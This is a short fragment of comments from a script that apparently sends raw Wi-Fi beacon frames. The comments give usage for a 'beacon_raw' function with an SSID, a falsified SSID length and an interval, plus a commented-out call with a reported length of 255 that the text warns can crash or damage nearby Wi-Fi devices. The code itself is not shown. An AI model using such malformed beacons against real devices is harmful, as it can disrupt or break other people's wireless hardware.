## USAGE:
###     beacon_raw(<SSID>, <REPORTED SSID LENGTH IN 8 BIT BYTES>, <INTERVAL IN SECONDS>)
###     or
###     beacon_raw(SSID=<SSID>, reported_length=<REPORTED SSID LENGTH IN 8 BIT BYTES>, interval_seconds=<INTERVAL IN SECONDS>)

###      SSID="PrincessPiNet"
###     reported_length=13
###     interval_seconds=0.25

    # send it

# this can be most any value really experimentation is needed

# please be careful with this, it can crash or damage your local wifi devices
# beacon_raw(SSID=ssid_binary, reported_length=255) # send it! USE WITH EXTREME CARE
# beacon_raw() # send dummy normal beacon for testing
